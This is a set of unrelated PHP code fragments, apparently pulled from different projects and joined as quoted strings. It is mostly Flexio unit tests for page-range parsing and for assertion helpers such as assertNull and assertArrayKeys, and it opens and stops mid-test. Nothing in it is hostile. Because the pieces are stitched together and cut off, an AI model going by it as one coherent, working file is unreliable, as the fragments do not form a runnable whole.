BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"10-11\", 10);\n $expected = [10];\n \\Flexio\\Tests\\Check::assertArray('C.2', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1-2,9-10\", 10);\n $expected = [1,2,9,10];\n \\Flexio\\Tests\\Check::assertArray('C.3', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1-last\", 10);\n $expected = [1,2,3,4,5,6,7,8,9,10];\n \\Flexio\\Tests\\Check::assertArray('C.4', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"2-last\", 10);\n $expected = [2,3,4,5,6,7,8,9,10];\n \\Flexio\\Tests\\Check::assertArray('C.5', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"9-last\", 10);\n $expected = [9,10];\n \\Flexio\\Tests\\Check::assertArray('C.6', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"2-1\", 10);\n $expected = [];\n \\Flexio\\Tests\\Check::assertArray('C.7', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1-2,4-3\", 10);\n $expected = [1,2];\n \\Flexio\\Tests\\Check::assertArray('C.8', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"4-3,1-2\", 10);\n $expected = [1,2];\n \\Flexio\\Tests\\Check::assertArray('C.9', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1-2,last-9\", 10);\n $expected = [1,2];\n \\Flexio\\Tests\\Check::assertArray('C.10', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"last-9,1-2\", 10);\n $expected = [1,2];\n \\Flexio\\Tests\\Check::assertArray('C.11', '\\Flexio\\Base\\Util::createPageRangeArray(); basic range page input', $actual, $expected, $results);\n\n\n // TEST: \\Flexio\\Base\\Util::createPageRangeArray(); sort and remove duplicates\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1,1\", 10);\n $expected = [1];\n \\Flexio\\Tests\\Check::assertArray('D.1', '\\Flexio\\Base\\Util::createPageRangeArray(); sort and remove duplicates', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"last,last\", 10);\n $expected = [10];\n \\Flexio\\Tests\\Check::assertArray('D.2', '\\Flexio\\Base\\Util::createPageRangeArray();sort and remove duplicates', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"10,last\", 10);\n $expected = [10];\n \\Flexio\\Tests\\Check::assertArray('D.3', '\\Flexio\\Base\\Util::createPageRangeArray();sort and remove duplicates', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"2,1\", 10);\n $expected = [1,2];\n \\Flexio\\Tests\\Check::assertArray('D.4', '\\Flexio\\Base\\Util::createPageRangeArray();sort and remove duplicates', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"1,3,2-4\", 10);\n $expected = [1,2,3,4];\n \\Flexio\\Tests\\Check::assertArray('D.5', '\\Flexio\\Base\\Util::createPageRangeArray();sort and remove duplicates', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"6-8,1-3,2-4,3-7\", 10);\n $expected = [1,2,3,4,5,6,7,8];\n \\Flexio\\Tests\\Check::assertArray('D.6', '\\Flexio\\Base\\Util::createPageRangeArray();sort and remove duplicates', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"9-11,last\", 10);\n $expected = [9,10];\n \\Flexio\\Tests\\Check::assertArray('D.7', '\\Flexio\\Base\\Util::createPageRangeArray();sort and remove duplicates', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"last,9-11\", 10);\n $expected = [9,10];\n \\Flexio\\Tests\\Check::assertArray('D.8', '\\Flexio\\Base\\Util::createPageRangeArray();sort and remove duplicates', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"11-9,last\", 10);\n $expected = [10];\n \\Flexio\\Tests\\Check::assertArray('D.9', '\\Flexio\\Base\\Util::createPageRangeArray();sort and remove duplicates', $actual, $expected, $results);\n\n // BEGIN TEST\n $actual = \\Flexio\\Base\\Util::createPageRangeArray(\"last,11-9\", 10);\n $expected = [10];\n \\Flexio\\Tests\\Check::assertArray('D.10', '\\Flexio\\Base\\Util::createPageRangeArray();sort and remove duplicates', $actual, $expected, $results);\n }", "public static function fromPageData($testInfo, $pageData) {\n $runResults = array();\n $run = 1;\n foreach ($pageData as $runs) {\n $fv = self::singlestepRunFromPageData($testInfo, $run, false, $runs);\n $rv = self::singlestepRunFromPageData($testInfo, $run, true, $runs);\n $runResults[] = array($fv, $rv);\n $run++;\n }\n return new self($testInfo, $runResults);\n }", "public function testAnalyzeResults(){\n $result = $this->phpwebunit->analyzeResults(array('OK (5 tests, 13 assertions)'));\n $this->assertEquals('win', $result);\n $this->assertEquals('OK (5 tests, 13 assertions)', $this->phpwebunit['status_bar_text']);\n\n //What about a failure?\n $result = $this->phpwebunit->analyzeResults(array('Tests: 6, Assertions: 16, Failures: 1.'));\n $this->assertEquals('fail', $result);\n $this->assertEquals('Tests: 6, Assertions: 16, Failures: 1.', $this->phpwebunit['status_bar_text']);\n\n //What about an unknown with valid results?\n $result = $this->phpwebunit->analyzeResults(array('huh, what do we have here?'));\n $this->assertEquals('unknown', $result);\n $this->assertEquals('Unknown', $this->phpwebunit['status_bar_text']);\n\n //What about an unknown with invalid results?\n $result = $this->phpwebunit->analyzeResults('should be an array!');\n $this->assertEquals('unknown', $result);\n $this->assertEquals('Unknown', $this->phpwebunit['status_bar_text']);\n $this->assertTrue(true);\n }", "function runTests() {\n\t\tif(is_array($this->_aTests)){\n\t\t\tforeach($this->_aTests as $test){\n\t\t\t\t$this->_aResults[$test->sName] = array();\n\t\t\t\t$this->_aResults = $test->run($this->_aResults);\n\n\t\t\t}\n\t\t}\n\t}", "public function run(&$results)\n {\n // \\Flexio\\Tests\\Check::assertNumber()\n // \\Flexio\\Tests\\Check::assertDateApprox()\n // \\Flexio\\Tests\\Check::assertArray()\n\n\n\n // TEST: \\Flexio\\Tests\\Check::assertNull()\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertNull('', '', null, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertNull() working' : '\\Flexio\\Tests\\Check::assertNull() not working');\n $results[] = new \\Flexio\\Tests\\Result('A.1', '\\Flexio\\Tests\\Check::assertNull(); fail if \\'actual\\' parameter is anything besides null', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertNull('', '', NAN, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertNull() working' : '\\Flexio\\Tests\\Check::assertNull() not working');\n $results[] = new \\Flexio\\Tests\\Result('A.2', '\\Flexio\\Tests\\Check::assertNull(); fail if \\'actual\\' parameter is anything besides null', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertNull('', '', false, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertNull() working' : '\\Flexio\\Tests\\Check::assertNull() not working');\n $results[] = new \\Flexio\\Tests\\Result('A.3', '\\Flexio\\Tests\\Check::assertNull(); fail if \\'actual\\' parameter is anything besides null', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertNull('', '', '', true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertNull() working' : '\\Flexio\\Tests\\Check::assertNull() not working');\n $results[] = new \\Flexio\\Tests\\Result('A.4', '\\Flexio\\Tests\\Check::assertNull(); fail if \\'actual\\' parameter is anything besides null', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertNull('', '', 0, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertNull() working' : '\\Flexio\\Tests\\Check::assertNull() not working');\n $results[] = new \\Flexio\\Tests\\Result('A.5', '\\Flexio\\Tests\\Check::assertNull(); fail if \\'actual\\' parameter is anything besides null', $test_result, $test_message);\n\n\n\n // TEST: \\Flexio\\Tests\\Check::assertNan()\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertNan('', '', null, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertNan() working' : '\\Flexio\\Tests\\Check::assertNan() not working');\n $results[] = new \\Flexio\\Tests\\Result('B.1', '\\Flexio\\Tests\\Check::assertNan(); fail if \\'actual\\' parameter is anything besides null', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertNan('', '', NAN, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertNan() working' : '\\Flexio\\Tests\\Check::assertNan() not working');\n $results[] = new \\Flexio\\Tests\\Result('B.2', '\\Flexio\\Tests\\Check::assertNan(); fail if \\'actual\\' parameter is anything besides null', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertNan('', '', false, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertNan() working' : '\\Flexio\\Tests\\Check::assertNan() not working');\n $results[] = new \\Flexio\\Tests\\Result('B.3', '\\Flexio\\Tests\\Check::assertNan(); fail if \\'actual\\' parameter is anything besides null', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertNan('', '', '', true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertNan() working' : '\\Flexio\\Tests\\Check::assertNan() not working');\n $results[] = new \\Flexio\\Tests\\Result('B.4', '\\Flexio\\Tests\\Check::assertNan(); fail if \\'actual\\' parameter is anything besides null', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertNan('', '', 0, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertNan() working' : '\\Flexio\\Tests\\Check::assertNan() not working');\n $results[] = new \\Flexio\\Tests\\Result('B.5', '\\Flexio\\Tests\\Check::assertNan(); fail if \\'actual\\' parameter is anything besides null', $test_result, $test_message);\n\n\n\n // TEST: \\Flexio\\Tests\\Check::assertBoolean()\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertBoolean('', '', null, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertBoolean() working' : '\\Flexio\\Tests\\Check::assertBoolean() not working');\n $results[] = new \\Flexio\\Tests\\Result('C.1', '\\Flexio\\Tests\\Check::assertBoolean(); succeed if inputs are boolean and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertBoolean('', '', 'a', true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertBoolean() working' : '\\Flexio\\Tests\\Check::assertBoolean() not working');\n $results[] = new \\Flexio\\Tests\\Result('C.2', '\\Flexio\\Tests\\Check::assertBoolean(); succeed if inputs are boolean and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertBoolean('', '', 1, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertBoolean() working' : '\\Flexio\\Tests\\Check::assertBoolean() not working');\n $results[] = new \\Flexio\\Tests\\Result('C.3', '\\Flexio\\Tests\\Check::assertBoolean(); succeed if inputs are boolean and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertBoolean('', '', true, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertBoolean() working' : '\\Flexio\\Tests\\Check::assertBoolean() not working');\n $results[] = new \\Flexio\\Tests\\Result('C.4', '\\Flexio\\Tests\\Check::assertBoolean(); succeed if inputs are boolean and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertBoolean('', '', true, false, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertBoolean() working' : '\\Flexio\\Tests\\Check::assertBoolean() not working');\n $results[] = new \\Flexio\\Tests\\Result('C.5', '\\Flexio\\Tests\\Check::assertBoolean(); succeed if inputs are boolean and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertBoolean('', '', false, true, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertBoolean() working' : '\\Flexio\\Tests\\Check::assertBoolean() not working');\n $results[] = new \\Flexio\\Tests\\Result('C.6', '\\Flexio\\Tests\\Check::assertBoolean(); succeed if inputs are boolean and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertBoolean('', '', false, false, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertBoolean() working' : '\\Flexio\\Tests\\Check::assertBoolean() not working');\n $results[] = new \\Flexio\\Tests\\Result('C.7', '\\Flexio\\Tests\\Check::assertBoolean(); succeed if inputs are boolean and are equal', $test_result, $test_message);\n\n\n\n // TEST: \\Flexio\\Tests\\Check::assertString()\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertString('', '', null, '', $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertString() working' : '\\Flexio\\Tests\\Check::assertString() not working');\n $results[] = new \\Flexio\\Tests\\Result('D.1', '\\Flexio\\Tests\\Check::assertString(); succeed if inputs are strings and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertString('', '', 'a', '', $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertString() working' : '\\Flexio\\Tests\\Check::assertString() not working');\n $results[] = new \\Flexio\\Tests\\Result('D.2', '\\Flexio\\Tests\\Check::assertString(); succeed if inputs are strings and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertString('', '', 1, '1', $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertString() working' : '\\Flexio\\Tests\\Check::assertString() not working');\n $results[] = new \\Flexio\\Tests\\Result('D.3', '\\Flexio\\Tests\\Check::assertString(); succeed if inputs are strings and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertString('', '', '', '', $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertString() working' : '\\Flexio\\Tests\\Check::assertString() not working');\n $results[] = new \\Flexio\\Tests\\Result('D.4', '\\Flexio\\Tests\\Check::assertString(); succeed if inputs are strings and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertString('', '', 'a', 'a', $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertString() working' : '\\Flexio\\Tests\\Check::assertString() not working');\n $results[] = new \\Flexio\\Tests\\Result('D.5', '\\Flexio\\Tests\\Check::assertString(); succeed if inputs are strings and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertString('', '', 'a', 'A', $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertString() working' : '\\Flexio\\Tests\\Check::assertString() not working');\n $results[] = new \\Flexio\\Tests\\Result('D.6', '\\Flexio\\Tests\\Check::assertString(); succeed if inputs are strings and are equal', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n \\Flexio\\Tests\\Check::assertString('', '', 'test', 'test', $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertString() working' : '\\Flexio\\Tests\\Check::assertString() not working');\n $results[] = new \\Flexio\\Tests\\Result('D.7', '\\Flexio\\Tests\\Check::assertString(); succeed if inputs are strings and are equal', $test_result, $test_message);\n\n\n\n // TEST: \\Flexio\\Tests\\Check::assertNumber()\n\n // BEGIN TEST\n // E\n\n\n\n // TEST: \\Flexio\\Tests\\Check::assertDateApprox()\n\n // BEGIN TEST\n // G\n\n\n // TEST: \\Flexio\\Tests\\Check::assertArrayKeys()\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n }\n ';\n $expected_array = '\n {\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.1', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed with two empty objects', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\"\n }\n ';\n $expected_array = '\n {\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.2', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value1\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.3', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\"\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value2\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.4', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": \"value2\"\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value2\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.5', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\"\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value1\",\n \"key2\": \"value2\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.6', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": \"value2\"\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value3\",\n \"key2\": \"value4\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.6', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n }\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value3\",\n \"key2\": \"value4\"\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.7', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": \"value2\"\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value3\",\n \"key2\": {\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.8', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n }\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value3\",\n \"key2\": {\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.9', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n \"key3\": \"value3\"\n }\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value2\",\n \"key2\": {\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.10', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n }\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value2\",\n \"key2\": {\n \"key3\": \"value3\"\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.11', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n \"key3\": \"value2\"\n }\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value2\",\n \"key2\": {\n \"key3\": \"value3\"\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = true;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.12', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n \"key3\": \"value2\"\n },\n \"key3\": \"\"\n }\n ';\n $expected_array = '\n {\n \"key1\": \"value2\",\n \"key2\": {\n \"key3\": \"value3\"\n }\n }\n ';\n \\Flexio\\Tests\\Check::assertArrayKeys('', '', $actual_array, $expected_array, $assert_result);\n $actual = $assert_result[0]->passed;\n $expected = false;\n $test_result = ($actual === $expected);\n $test_message = ($test_result === true ? '\\Flexio\\Tests\\Check::assertArrayKeys() working' : '\\Flexio\\Tests\\Check::assertArrayKeys() not working');\n $results[] = new \\Flexio\\Tests\\Result('H.13', '\\Flexio\\Tests\\Check::assertArrayKeys(); succeed if the key\\'s are the same; fail otherwise', $test_result, $test_message);\n\n // BEGIN TEST\n $assert_result = array();\n $actual_array = '\n {\n \"key1\": \"value1\",\n \"key2\": {\n \"key3\": \"value2\"\n }\n }\n 